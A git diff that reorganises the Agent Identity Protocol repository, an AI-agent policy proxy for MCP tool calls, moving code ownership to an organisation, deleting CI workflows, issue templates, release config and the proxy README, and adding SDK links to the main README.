diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS
index a16ff1a..14422e5 100644
--- a/.github/CODEOWNERS
+++ b/.github/CODEOWNERS
@@ -2,25 +2,15 @@
# https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners
# Default owner for everything
-* @ArangoGutierrez
-
-# Core proxy implementation
-/proxy/cmd/ @ArangoGutierrez
-/proxy/pkg/ @ArangoGutierrez
-
-# Policy engine (security-critical)
-/proxy/pkg/policy/ @ArangoGutierrez
-
-# DLP scanner (security-critical)
-/proxy/pkg/dlp/ @ArangoGutierrez
+* @openagentidentityprotocol/OAIP-Collaborators
# Security documentation
-/SECURITY.md @ArangoGutierrez
-/.github/SECURITY/ @ArangoGutierrez
+/SECURITY.md @openagentidentityprotocol/OAIP-Collaborators
+/.github/SECURITY/ @openagentidentityprotocol/OAIP-Collaborators
# CI/CD configuration
-/.github/workflows/ @ArangoGutierrez
+/.github/workflows/ @openagentidentityprotocol/OAIP-Collaborators
# Documentation
-/docs/ @ArangoGutierrez
-/README.md @ArangoGutierrez
+/docs/ @openagentidentityprotocol/OAIP-Collaborators
+/README.md @openagentidentityprotocol/OAIP-Collaborators
\ No newline at end of file
diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml
deleted file mode 100644
index d7dee0b..0000000
--- a/.github/FUNDING.yml
+++ /dev/null
@@ -1,8 +0,0 @@
-# Funding options for Agent Identity Protocol
-# https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository
-
-github: ArangoGutierrez
-# ko_fi: # Your Ko-fi username
-# patreon: # Your Patreon username
-# open_collective: # Your Open Collective username
-# custom: ["https://your-custom-link.com"]
diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml
deleted file mode 100644
index ad87bd1..0000000
--- a/.github/ISSUE_TEMPLATE/bug_report.yml
+++ /dev/null
@@ -1,132 +0,0 @@
-name: π Bug Report
-description: Report a bug or unexpected behavior
-title: "[Bug]: "
-labels: ["bug", "needs-triage"]
-assignees: []
-
-body:
- - type: markdown
- attributes:
- value: |
- Thanks for taking the time to report a bug! Please fill out the sections below to help us diagnose the issue.
-
- - type: checkboxes
- id: checklist
- attributes:
- label: Pre-submission Checklist
- description: Please verify you've done the following
- options:
- - label: I have searched [existing issues](https://github.com/ArangoGutierrez/agent-identity-protocol/issues) to ensure this bug hasn't been reported
- required: true
- - label: I am using the latest version of AIP
- required: true
- - label: I have read the [documentation](https://github.com/ArangoGutierrez/agent-identity-protocol#readme)
- required: true
-
- - type: textarea
- id: description
- attributes:
- label: Bug Description
- description: A clear and concise description of the bug
- placeholder: What happened? What did you expect to happen?
- validations:
- required: true
-
- - type: textarea
- id: reproduction
- attributes:
- label: Steps to Reproduce
- description: Minimal steps to reproduce the behavior
- placeholder: |
- 1. Create policy file with...
- 2. Run command...
- 3. Send request...
- 4. See error...
- validations:
- required: true
-
- - type: textarea
- id: policy
- attributes:
- label: Policy File (agent.yaml)
- description: If applicable, share your policy configuration (redact sensitive data)
- render: yaml
- placeholder: |
- apiVersion: aip.io/v1alpha1
- kind: AgentPolicy
- metadata:
- name: my-policy
- spec:
- allowed_tools:
- - list_files
-
- - type: textarea
- id: logs
- attributes:
- label: Relevant Logs
- description: Include any error messages or logs (run with `--verbose` for detailed output)
- render: shell
- placeholder: |
- $ ./aip --policy agent.yaml --target "..." --verbose
- [aip-proxy] ...
-
- - type: textarea
- id: expected
- attributes:
- label: Expected Behavior
- description: What should have happened?
- validations:
- required: true
-
- - type: dropdown
- id: component
- attributes:
- label: Affected Component
- description: Which part of AIP is affected?
- options:
- - Proxy Core
- - Policy Engine
- - DLP Scanner
- - Human-in-the-Loop (UI Prompts)
- - Audit Logging
- - CLI / Flags
- - Cursor Integration
- - Documentation
- - Other
- validations:
- required: true
-
- - type: input
- id: version
- attributes:
- label: AIP Version
- description: Output of `aip --version` or git commit hash
- placeholder: v0.1.0 or commit abc1234
- validations:
- required: true
-
- - type: dropdown
- id: os
- attributes:
- label: Operating System
- options:
- - macOS (Apple Silicon)
- - macOS (Intel)
- - Linux (x86_64)
- - Linux (ARM64)
- - Windows
- - Other
- validations:
- required: true
-
- - type: input
- id: go-version
- attributes:
- label: Go Version (if building from source)
- placeholder: go1.23.0
-
- - type: textarea
- id: additional
- attributes:
- label: Additional Context
- description: Any other context, screenshots, or information that might help
diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml
deleted file mode 100644
index bc8d7b0..0000000
--- a/.github/ISSUE_TEMPLATE/config.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-blank_issues_enabled: false
-contact_links:
- - name: π¬ GitHub Discussions
- url: https://github.com/ArangoGutierrez/agent-identity-protocol/discussions
- about: Ask questions and discuss ideas with the community
- - name: π Security Vulnerabilities
- url: https://github.com/ArangoGutierrez/agent-identity-protocol/security/advisories
- about: Report security vulnerabilities privately (do NOT use issues)
- - name: π Documentation
- url: https://github.com/ArangoGutierrez/agent-identity-protocol#readme
- about: Read the documentation before opening an issue
diff --git a/.github/ISSUE_TEMPLATE/feature_request.yml b/.github/ISSUE_TEMPLATE/feature_request.yml
deleted file mode 100644
index 1f1a5e3..0000000
--- a/.github/ISSUE_TEMPLATE/feature_request.yml
+++ /dev/null
@@ -1,108 +0,0 @@
-name: β¨ Feature Request
-description: Suggest a new feature or enhancement
-title: "[Feature]: "
-labels: ["enhancement", "needs-triage"]
-assignees: []
-
-body:
- - type: markdown
- attributes:
- value: |
- Thanks for suggesting a feature! Please describe your idea below.
-
- - type: checkboxes
- id: checklist
- attributes:
- label: Pre-submission Checklist
- options:
- - label: I have searched [existing issues](https://github.com/ArangoGutierrez/agent-identity-protocol/issues) to ensure this hasn't been requested
- required: true
- - label: I have read the [roadmap](https://github.com/ArangoGutierrez/agent-identity-protocol#roadmap) to check if this is planned
- required: true
-
- - type: dropdown
- id: category
- attributes:
- label: Feature Category
- description: What area does this feature relate to?
- options:
- - Policy Engine (new rules, constraints)
- - Security (authentication, authorization)
- - DLP (data loss prevention)
- - Human-in-the-Loop (approval workflows)
- - Audit & Observability
- - Integration (Cursor, VSCode, other IDEs)
- - Kubernetes / Cloud Deployment
- - CLI / UX Improvements
- - SDK / Client Libraries
- - Documentation
- - Other
- validations:
- required: true
-
- - type: textarea
- id: problem
- attributes:
- label: Problem Statement
- description: What problem does this feature solve? What's your use case?
- placeholder: |
- As a [type of user], I want to [do something] so that [benefit].
-
- Currently, I have to... which is problematic because...
- validations:
- required: true
-
- - type: textarea
- id: solution
- attributes:
- label: Proposed Solution
- description: How do you envision this feature working?
- placeholder: |
- I would like AIP to support...
-
- Example configuration:
- ```yaml
- spec:
- new_feature:
- enabled: true
- ```
- validations:
- required: true
-
- - type: textarea
- id: alternatives
- attributes:
- label: Alternatives Considered
- description: Have you considered any alternative solutions or workarounds?
- placeholder: |
- 1. Alternative A: ...
- 2. Alternative B: ...
- 3. Current workaround: ...
-
- - type: dropdown
- id: priority
- attributes:
- label: Priority
- description: How important is this feature to you?
- options:
- - Nice to have
- - Important for my use case
- - Blocking my adoption of AIP
- validations:
- required: true
-
- - type: checkboxes
- id: contribution
- attributes:
- label: Contribution
- description: Would you be willing to contribute this feature?
- options:
- - label: I would be willing to submit a PR for this feature
- - label: I can help test this feature
- - label: I can help write documentation for this feature
-
- - type: textarea
- id: additional
- attributes:
- label: Additional Context
- description: Any other context, mockups, or references that might help
diff --git a/.github/ISSUE_TEMPLATE/security_report.yml b/.github/ISSUE_TEMPLATE/security_report.yml
deleted file mode 100644
index 69fce76..0000000
--- a/.github/ISSUE_TEMPLATE/security_report.yml
+++ /dev/null
@@ -1,69 +0,0 @@
-name: π Security Concern
-description: Report a security concern (NOT for vulnerabilities - see SECURITY.md)
-title: "[Security]: "
-labels: ["security", "needs-triage"]
-assignees: []
-
-body:
- - type: markdown
- attributes:
- value: |
- β οΈ **IMPORTANT**: Do NOT use this form for security vulnerabilities!
-
- For vulnerabilities, please follow our [Security Policy](https://github.com/ArangoGutierrez/agent-identity-protocol/blob/main/SECURITY.md) and report privately.
-
- This form is for:
- - Security hardening suggestions
- - Questions about security architecture
- - Requests for security documentation
- - Compliance-related questions
-
- - type: checkboxes
- id: not-vulnerability
- attributes:
- label: Confirmation
- options:
- - label: This is NOT a security vulnerability (those should be reported via SECURITY.md)
- required: true
- - label: I have read the [SECURITY.md](https://github.com/ArangoGutierrez/agent-identity-protocol/blob/main/SECURITY.md) file
- required: true
-
- - type: dropdown
- id: type
- attributes:
- label: Type of Security Concern
- options:
- - Security hardening suggestion
- - Threat model question
- - Compliance inquiry (SOC2, GDPR, HIPAA, etc.)
- - Security documentation request
- - Configuration best practices
- - Other security-related question
- validations:
- required: true
-
- - type: textarea
- id: description
- attributes:
- label: Description
- description: Describe your security concern or question
- placeholder: |
- I'm wondering about the security implications of...
-
- Or: I suggest hardening X by doing Y because...
- validations:
- required: true
-
- - type: textarea
- id: context
- attributes:
- label: Use Case / Context
- description: Help us understand your security requirements
- placeholder: |
- We're deploying AIP in a [environment] with [requirements]...
-
- - type: textarea
- id: additional
- attributes:
- label: Additional Context
- description: Any references, compliance requirements, or other relevant information
diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md
index 3ce39e1..1245bac 100644
--- a/.github/PULL_REQUEST_TEMPLATE.md
+++ b/.github/PULL_REQUEST_TEMPLATE.md
@@ -10,14 +10,9 @@
-- [ ] π Bug fix (non-breaking change that fixes an issue)
- [ ] β¨ New feature (non-breaking change that adds functionality)
-- [ ] π₯ Breaking change (fix or feature that would cause existing functionality to change)
- [ ] π Documentation update
-- [ ] π§ Configuration change
-- [ ] β»οΈ Refactoring (no functional changes)
-- [ ] π§ͺ Test improvement
-- [ ] π Security fix
+
## Changes Made
@@ -27,24 +22,6 @@
-
-
-## Testing
-
-
-
-- [ ] Unit tests added/updated
-- [ ] Manual testing performed
-- [ ] Tested with real MCP server
-- [ ] Tested policy enforcement
-
-### Test Commands
-
-```bash
-# Commands used to test
-cd proxy
-make test
-make build
-./bin/aip --policy examples/agent.yaml --target "python3 test/echo_server.py" --verbose
-```
## Policy Impact
@@ -54,20 +31,11 @@ make build
- [ ] New policy feature (describe below)
- [ ] Policy behavior change (describe migration path)
-## Security Checklist
-
-
-- [ ] No new dependencies with known vulnerabilities
-- [ ] No secrets or credentials in code
-- [ ] Audit logging maintained for new operations
-- [ ] Input validation added for new parameters
-- [ ] Documentation updated for security implications
## Documentation
- [ ] README updated (if needed)
-- [ ] Code comments added for complex logic
- [ ] Example configurations updated
- [ ] CHANGELOG entry added (for user-facing changes)
@@ -75,16 +43,8 @@ make build
-## Checklist
-
-- [ ] My code follows the project's code style (`make lint` passes)
-- [ ] I have performed a self-review of my code
-- [ ] I have commented my code, particularly in hard-to-understand areas
-- [ ] My changes generate no new warnings
-- [ ] New and existing unit tests pass locally (`make test`)
-- [ ] Any dependent changes have been merged and published
---
-/cc @ArangoGutierrez
+/cc @ArangoGutierrez @yungcero
diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md
deleted file mode 100644
index cb7cac9..0000000
--- a/.github/copilot-instructions.md
+++ /dev/null
@@ -1,132 +0,0 @@
-# GitHub Copilot Instructions for AIP
-
-This document provides context for GitHub Copilot when working on the Agent Identity Protocol codebase.
-
-## Project Overview
-
-AIP (Agent Identity Protocol) is a **zero-trust security layer for AI agents**. It provides:
-
-1. **Policy Enforcement Proxy**: Intercepts MCP (Model Context Protocol) tool calls
-2. **Manifest-Driven Security**: Declarative YAML policies define what agents can do
-3. **Human-in-the-Loop**: Native OS prompts for sensitive operations
-4. **DLP (Data Loss Prevention)**: Redacts sensitive data in tool responses
-5. **Audit Logging**: Immutable JSONL logs for compliance
-
-## Architecture
-
-```
-βββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββ
-β MCP Client ββββββΆβ AIP Proxy ββββββΆβ MCP Server β
-β (Agent) βββββββ Policy Engine βββββββ (Subprocess) β
-βββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββ
-```
-
-The proxy is a **stdin/stdout passthrough** that:
-- Reads JSON-RPC from stdin (client requests)
-- Checks `tools/call` requests against policy
-- Forwards allowed requests to subprocess
-- Returns errors for blocked requests
-- Scans responses for sensitive data (DLP)
-- Logs all decisions to audit file
-
-## Code Style
-
-### Go Guidelines
-
-- **Format**: Always run `gofmt -s -w .`
-- **Imports**: Standard library first, then external, then internal
-- **Errors**: Wrap with context using `fmt.Errorf("context: %w", err)`
-- **Logging**:
- - `logger` (stderr) for operational logs
- - `auditLogger` (file) for audit trail
- - **NEVER** write to stdout except JSON-RPC responses
-
-### Critical Constraints
-
-1. **stdout is sacred**: Only JSON-RPC messages go to stdout
-2. **Fail-closed**: Unknown operations = deny
-3. **Zero-trust**: Every tool call is checked, no implicit permissions
-
-## Key Files
-
-| Path | Purpose |
-|------|---------|
-| `implementations/go-proxy/cmd/aip-proxy/main.go` | Entry point, proxy logic |
-| `implementations/go-proxy/pkg/policy/engine.go` | Policy loading and evaluation |
-| `implementations/go-proxy/pkg/dlp/scanner.go` | DLP regex scanning |
-| `implementations/go-proxy/pkg/audit/logger.go` | JSONL audit logging |
-| `implementations/go-proxy/pkg/ui/prompt.go` | Native OS dialogs |
-| `implementations/go-proxy/pkg/protocol/types.go` | JSON-RPC types |
-
-## Common Tasks
-
-### Adding a New Policy Feature
-
-1. Update `implementations/go-proxy/pkg/policy/engine.go` with new evaluation logic
-2. Update policy types in the same file
-3. Add tests in `engine_test.go`
-4. Update example policies in `implementations/go-proxy/examples/`
-5. Document in README or docs/
-
-### Adding a New CLI Flag
-
-1. Add flag definition in `parseFlags()` in `main.go`
-2. Update usage message
-3. Add handling logic
-4. Update README with new flag
-
-### Adding DLP Pattern
-
-1. Patterns are defined in policy YAML under `spec.dlp.patterns`
-2. Test regex in `dlp/scanner_test.go`
-3. Add example to `implementations/go-proxy/examples/agent.yaml`
-
-## Testing
-
-```bash
-cd proxy
-make test # Run all tests
-make lint # Lint checks
-make build # Build binary
-make run-demo # Test with echo server
-```
-
-## Policy YAML Structure
-
-```yaml
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: policy-name
-spec:
- mode: enforce | monitor
- allowed_tools:
- - tool_name
- tool_rules:
- - tool: tool_name
- action: allow | block | ask
- allow_args:
- arg_name: "regex_pattern"
- dlp:
- patterns:
- - name: "Pattern Name"
- regex: "pattern"
-```
-
-## Security Considerations
-
-When writing code for AIP:
-
-1. **Input Validation**: Always validate policy YAML fields
-2. **Regex Safety**: Use timeouts for regex evaluation (DoS prevention)
-3. **Memory Safety**: Don't hold sensitive data longer than needed
-4. **Audit Trail**: Log security-relevant decisions
-5. **Error Messages**: Don't leak internal paths or secrets
-
-## MCP Protocol
-
-AIP speaks JSON-RPC over stdio. Key methods:
-
-- `tools/call` - Agent invokes a tool (intercepted by AIP)
-- `tools/list` - List available tools (passthrough)
-- Other methods - Passed through without policy check
diff --git a/.github/dependabot.yml b/.github/dependabot.yml
index 402b342..6ac11a1 100644
--- a/.github/dependabot.yml
+++ b/.github/dependabot.yml
@@ -4,31 +4,6 @@
version: 2
updates:
- # Go modules (proxy)
- - package-ecosystem: "gomod"
- directory: "/proxy"
- schedule:
- interval: "weekly"
- day: "monday"
- time: "09:00"
- timezone: "America/Los_Angeles"
- open-pull-requests-limit: 10
- commit-message:
- prefix: "deps(go)"
- labels:
- - "dependencies"
- - "go"
- reviewers:
- - "ArangoGutierrez"
- groups:
- # Group minor and patch updates together
- go-minor-patch:
- patterns:
- - "*"
- update-types:
- - "minor"
- - "patch"
-
# GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
@@ -45,6 +20,7 @@ updates:
- "github-actions"
reviewers:
- "ArangoGutierrez"
+ - "yungcero"
groups:
actions-all:
patterns:
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
deleted file mode 100644
index ea4bf99..0000000
--- a/.github/workflows/ci.yml
+++ /dev/null
@@ -1,118 +0,0 @@
-# CI Pipeline for Agent Identity Protocol
-#
-# Runs on every push and PR to ensure code quality:
-# - Build verification
-# - Unit tests with coverage
-# - Linting (go vet, staticcheck)
-# - Security scanning (govulncheck)
-
-name: CI
-
-on:
- push:
- branches: [main]
- pull_request:
- branches: [main]
-
-permissions:
- contents: read
-
-env:
- GO_VERSION: "1.25"
-
-jobs:
- build:
- name: Build
- runs-on: ubuntu-latest
- steps:
- - name: Checkout code
- uses: actions/checkout@v6
-
- - name: Set up Go
- uses: actions/setup-go@v6
- with:
- go-version: ${{ env.GO_VERSION }}
- cache-dependency-path: implementations/go-proxy/go.sum
-
- - name: Build
- working-directory: implementations/go-proxy
- run: make build
-
- - name: Verify binary exists
- run: test -f implementations/go-proxy/bin/aip
-
- test:
- name: Test
- runs-on: ubuntu-latest
- steps:
- - name: Checkout code
- uses: actions/checkout@v6
-
- - name: Set up Go
- uses: actions/setup-go@v6
- with:
- go-version: ${{ env.GO_VERSION }}
- cache-dependency-path: implementations/go-proxy/go.sum
-
- - name: Run tests
- working-directory: implementations/go-proxy
- run: go test -v -race -coverprofile=coverage.out -covermode=atomic ./...
-
- - name: Upload coverage
- uses: codecov/codecov-action@v5
- with:
- files: implementations/go-proxy/coverage.out
- flags: unittests
- fail_ci_if_error: false
-
- lint:
- name: Lint
- runs-on: ubuntu-latest
- steps:
- - name: Checkout code
- uses: actions/checkout@v6
-
- - name: Set up Go
- uses: actions/setup-go@v6
- with:
- go-version: ${{ env.GO_VERSION }}
- cache-dependency-path: implementations/go-proxy/go.sum
-
- - name: Run go vet
- working-directory: implementations/go-proxy
- run: go vet ./...
-
- - name: Check formatting
- working-directory: implementations/go-proxy
- run: |
- if [ -n "$(gofmt -l .)" ]; then
- echo "Code is not formatted. Run 'gofmt -w .'"
- gofmt -d .
- exit 1
- fi
-
- - name: Run golangci-lint
- uses: golangci/golangci-lint-action@v9
- with:
- version: latest
- working-directory: implementations/go-proxy
- args: --timeout=5m
-
- security:
- name: Security Scan
- runs-on: ubuntu-latest
- steps:
- - name: Checkout code
- uses: actions/checkout@v6
-
- - name: Set up Go
- uses: actions/setup-go@v6
- with:
- go-version: ${{ env.GO_VERSION }}
- cache-dependency-path: implementations/go-proxy/go.sum
-
- - name: Run govulncheck
- working-directory: implementations/go-proxy
- run: |
- go install golang.org/x/vuln/cmd/govulncheck@latest
- govulncheck ./...
diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml
deleted file mode 100644
index 4fac3d2..0000000
--- a/.github/workflows/codeql.yml
+++ /dev/null
@@ -1,54 +0,0 @@
-# CodeQL Security Analysis
-#
-# Performs semantic code analysis to find security vulnerabilities.
-# Results appear in GitHub Security tab.
-#
-# Documentation: https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql
-
-name: "CodeQL"
-
-on:
- push:
- branches: [main]
- pull_request:
- branches: [main]
- schedule:
- # Run weekly on Monday at 6:00 UTC
- - cron: '0 6 * * 1'
-
-jobs:
- analyze:
- name: Analyze
- runs-on: ubuntu-latest
- permissions:
- actions: read
- contents: read
- security-events: write
-
- strategy:
- fail-fast: false
- matrix:
- language: ['go']
-
- steps:
- - name: Checkout repository
- uses: actions/checkout@v6
-
- - name: Initialize CodeQL
- uses: github/codeql-action/init@v4
- with:
- languages: ${{ matrix.language }}
- # Use extended security queries for more comprehensive analysis
- queries: +security-extended
-
- - name: Autobuild
- uses: github/codeql-action/autobuild@v4
-
- - name: Perform CodeQL Analysis
- uses: github/codeql-action/analyze@v4
- with:
- category: "/language:${{ matrix.language }}"
- # Don't fail the workflow if upload fails (code scanning may not be enabled)
- # To enable: Settings β Code security and analysis β Code scanning
- upload: always
- continue-on-error: true
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
deleted file mode 100644
index 69a0625..0000000
--- a/.github/workflows/release.yml
+++ /dev/null
@@ -1,70 +0,0 @@
-# Release Pipeline for Agent Identity Protocol
-#
-# Triggers on version tags (v*) and creates:
-# - Cross-platform binaries (Linux, macOS, Windows)
-# - GitHub Release with changelog
-# - Homebrew formula (future)
-
-name: Release
-
-on:
- push:
- tags:
- - "v*"
-
-permissions:
- contents: write
-
-env:
- GO_VERSION: "1.25"
-
-jobs:
- release:
- name: Build and Release
- runs-on: ubuntu-latest
- steps:
- - name: Checkout code
- uses: actions/checkout@v6
- with:
- fetch-depth: 0
-
- - name: Set up Go
- uses: actions/setup-go@v6
- with:
- go-version: ${{ env.GO_VERSION }}
- cache-dependency-path: implementations/go-proxy/go.sum
-
- - name: Run tests before release
- working-directory: implementations/go-proxy
- run: go test -v ./...
-
- - name: Run GoReleaser
- uses: goreleaser/goreleaser-action@v6
- with:
- distribution: goreleaser
- version: "~> v2"
- args: release --clean
- workdir: implementations/go-proxy
- env:
- GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-
- verify-release:
- name: Verify Release Artifacts
- needs: release
- runs-on: ubuntu-latest
- steps:
- - name: Download release artifacts
- run: |
- gh release download ${{ github.ref_name }} \
- --repo ${{ github.repository }} \
- --pattern "*.tar.gz" \
- --dir ./artifacts
- env:
- GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
-
- - name: Verify checksums
- run: |
- cd artifacts
- if [ -f checksums.txt ]; then
- sha256sum -c checksums.txt
- fi
diff --git a/README.md b/README.md
index 2840849..d768367 100644
--- a/README.md
+++ b/README.md
@@ -12,6 +12,8 @@
+> **Implementations:** [Go](https://github.com/openagentidentityprotocol/aip-go)
+
---
## What is AIP?
@@ -340,6 +342,16 @@ We're building a **standard**, not just a tool.
---
+## SDKs & Implementations
+
+| Language | Repository | Status |
+| --- | --- | --- |
+| **Go** | [aip-go](https://github.com/openagentidentityprotocol/aip-go) | β
Stable |
+| **Rust** | [aip-rust](https://github.com/openagentidentityprotocol/aip-rust) | π§ Coming Soon |
+
+Want to build an AIP implementation in another language? See [CONTRIBUTING.md](./CONTRIBUTING.md).
+
+
## Contributing
AIP is an open specification. We welcome:
diff --git a/implementations/go-proxy/.goreleaser.yaml b/implementations/go-proxy/.goreleaser.yaml
deleted file mode 100644
index 2819882..0000000
--- a/implementations/go-proxy/.goreleaser.yaml
+++ /dev/null
@@ -1,139 +0,0 @@
-# GoReleaser configuration for AIP
-# https://goreleaser.com/customization/
-
-version: 2
-
-project_name: aip
-
-before:
- hooks:
- - go mod tidy
- - go generate ./...
-
-builds:
- - id: aip
- main: ./cmd/aip-proxy
- binary: aip
- env:
- - CGO_ENABLED=0
- goos:
- - linux
- - darwin
- - windows
- goarch:
- - amd64
- - arm64
- ldflags:
- - -s -w
- - -X main.version={{.Version}}
- - -X main.commit={{.Commit}}
- - -X main.date={{.Date}}
-
-archives:
- - id: default
- formats:
- - tar.gz
- format_overrides:
- - goos: windows
- formats:
- - zip
- name_template: >-
- {{ .ProjectName }}_
- {{- .Version }}_
- {{- .Os }}_
- {{- .Arch }}
- files:
- - README.md
- - examples/*
-
-checksum:
- name_template: "checksums.txt"
- algorithm: sha256
-
-snapshot:
- version_template: "{{ .Tag }}-next"
-
-changelog:
- sort: asc
- use: github
- filters:
- exclude:
- - "^docs:"
- - "^test:"
- - "^ci:"
- - "^chore:"
- - Merge pull request
- - Merge branch
- groups:
- - title: "π Features"
- regexp: '^.*?feat(\([[:word:]]+\))??!?:.+$'
- order: 0
- - title: "π Bug Fixes"
- regexp: '^.*?fix(\([[:word:]]+\))??!?:.+$'
- order: 1
- - title: "π Security"
- regexp: '^.*?sec(\([[:word:]]+\))??!?:.+$'
- order: 2
- - title: "π¦ Dependencies"
- regexp: '^.*?deps(\([[:word:]]+\))??!?:.+$'
- order: 3
- - title: "π§ Other"
- order: 999
-
-release:
- github:
- owner: ArangoGutierrez
- name: agent-identity-protocol
- draft: false
- prerelease: auto
- mode: replace
- header: |
- ## AIP {{ .Tag }}
-
- The Agent Identity Protocol proxy - **"Sudo for AI Agents"**
-
- ### Installation
-
- **macOS (Apple Silicon)**
- ```bash
- curl -LO https://github.com/ArangoGutierrez/agent-identity-protocol/releases/download/{{ .Tag }}/aip_{{ .Version }}_darwin_arm64.tar.gz
- tar xzf aip_{{ .Version }}_darwin_arm64.tar.gz
- sudo mv aip /usr/local/bin/
- ```
-
- **macOS (Intel)**
- ```bash
- curl -LO https://github.com/ArangoGutierrez/agent-identity-protocol/releases/download/{{ .Tag }}/aip_{{ .Version }}_darwin_amd64.tar.gz
- tar xzf aip_{{ .Version }}_darwin_amd64.tar.gz
- sudo mv aip /usr/local/bin/
- ```
-
- **Linux (x86_64)**
- ```bash
- curl -LO https://github.com/ArangoGutierrez/agent-identity-protocol/releases/download/{{ .Tag }}/aip_{{ .Version }}_linux_amd64.tar.gz
- tar xzf aip_{{ .Version }}_linux_amd64.tar.gz
- sudo mv aip /usr/local/bin/
- ```
- footer: |
- ---
-
- **Full Changelog**: https://github.com/ArangoGutierrez/agent-identity-protocol/compare/{{ .PreviousTag }}...{{ .Tag }}
-
- **Documentation**: https://github.com/ArangoGutierrez/agent-identity-protocol#readme
-
-# Homebrew tap publishing - disabled until homebrew-tap repo is created
-# brews:
-# - name: aip
-# repository:
-# owner: ArangoGutierrez
-# name: homebrew-tap
-# token: "{{ .Env.HOMEBREW_TAP_TOKEN }}"
-# skip_upload: auto
-# directory: Formula
-# homepage: https://github.com/ArangoGutierrez/agent-identity-protocol
-# description: "Agent Identity Protocol - Zero-trust security for AI agents"
-# license: Apache-2.0
-# test: |
-# system "#{bin}/aip", "--help"
-# install: |
-# bin.install "aip"
diff --git a/implementations/go-proxy/Makefile b/implementations/go-proxy/Makefile
deleted file mode 100644
index bc90cb7..0000000
--- a/implementations/go-proxy/Makefile
+++ /dev/null
@@ -1,86 +0,0 @@
-# AIP Proxy - Build System
-#
-# Usage:
-# make build - Build the aip binary
-# make test - Run all unit tests
-# make clean - Remove build artifacts and logs
-# make run-demo - Run proxy in monitor mode with echo target
-# make lint - Run go vet and formatting check
-# make help - Show this help message
-
-.PHONY: build test clean run-demo lint help
-
-# Build configuration
-BINARY_NAME := aip
-BINARY_DIR := bin
-MAIN_PATH := ./cmd/aip-proxy
-GO := go
-
-# Default target
-all: build
-
-## build: Compile the aip binary to bin/
-build:
- @mkdir -p $(BINARY_DIR)
- $(GO) build -o $(BINARY_DIR)/$(BINARY_NAME) $(MAIN_PATH)
- @echo "Built: $(BINARY_DIR)/$(BINARY_NAME)"
-
-## test: Run all unit tests with verbose output
-test:
- $(GO) test -v ./...
-
-## test-coverage: Run tests with coverage report
-test-coverage:
- $(GO) test -v -coverprofile=coverage.out ./...
- $(GO) tool cover -html=coverage.out -o coverage.html
- @echo "Coverage report: coverage.html"
-
-## clean: Remove build artifacts, logs, and coverage files
-clean:
- rm -rf $(BINARY_DIR)
- rm -f aip-audit.jsonl
- rm -f coverage.out coverage.html
- @echo "Cleaned build artifacts and logs"
-
-## run-demo: Run the proxy in monitor mode with a simple target
-run-demo: build
- @echo "Running AIP proxy in monitor mode..."
- @echo "Target: 'echo Hello from MCP server'"
- @echo "Policy: examples/monitor-mode.yaml"
- @echo "---"
- $(BINARY_DIR)/$(BINARY_NAME) \
- --policy examples/monitor-mode.yaml \
- --target "echo Hello from MCP server" \
- --verbose
-
-## run-interactive: Run with Python echo server for interactive testing
-run-interactive: build
- @echo "Starting interactive test with Python echo server..."
- $(BINARY_DIR)/$(BINARY_NAME) \
- --policy test/agent.yaml \
- --target "python3 test/echo_server.py" \
- --verbose
-
-## lint: Run go vet and check formatting
-lint:
- $(GO) vet ./...
- @test -z "$$(gofmt -l .)" || (echo "Run 'gofmt -w .' to fix formatting" && exit 1)
- @echo "Lint passed"
-
-## fmt: Format all Go files
-fmt:
- $(GO) fmt ./...
-
-## generate-config: Generate Cursor MCP configuration
-generate-config: build
- @echo "Generate Cursor config with:"
- @echo " $(BINARY_DIR)/$(BINARY_NAME) --generate-cursor-config --policy "
-
-## help: Show this help message
-help:
- @echo "AIP Proxy - Build System"
- @echo ""
- @echo "Usage: make [target]"
- @echo ""
- @echo "Targets:"
- @grep -E '^## ' $(MAKEFILE_LIST) | sed 's/## / /'
diff --git a/implementations/go-proxy/README.md b/implementations/go-proxy/README.md
deleted file mode 100644
index d832737..0000000
--- a/implementations/go-proxy/README.md
+++ /dev/null
@@ -1,177 +0,0 @@
-# AIP Go Proxy
-
-The reference implementation of the [Agent Identity Protocol](../../spec/aip-v1alpha1.md) β a policy enforcement proxy for MCP (Model Context Protocol).
-
-**"Sudo for AI Agents"**
-
-## Features
-
-- **Tool allowlist enforcement** β Only permitted tools can be called
-- **Argument validation** β Regex patterns for tool parameters
-- **Human-in-the-Loop** β Native OS dialogs for sensitive operations
-- **DLP scanning** β Redact secrets from tool responses
-- **Audit logging** β Immutable JSONL trail of all decisions
-- **Monitor mode** β Test policies without enforcement
-
-### v1alpha2 Features (New)
-
-- **Identity tokens** β Cryptographic session identity with automatic rotation
-- **Server-side validation** β HTTP endpoints for distributed policy enforcement
-- **Policy signatures** β Ed25519 signatures for policy integrity
-- **Prometheus metrics** β `/metrics` endpoint for observability
-
-## Quick Start
-
-### Install
-
-```bash
-# Quick install with Go
-go install github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/cmd/aip-proxy@latest
-
-# Or from source
-git clone https://github.com/ArangoGutierrez/agent-identity-protocol.git
-cd agent-identity-protocol/implementations/go-proxy
-make build
-./bin/aip --help
-```
-
-### Create a Policy
-
-```yaml
-# policy.yaml
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: my-policy
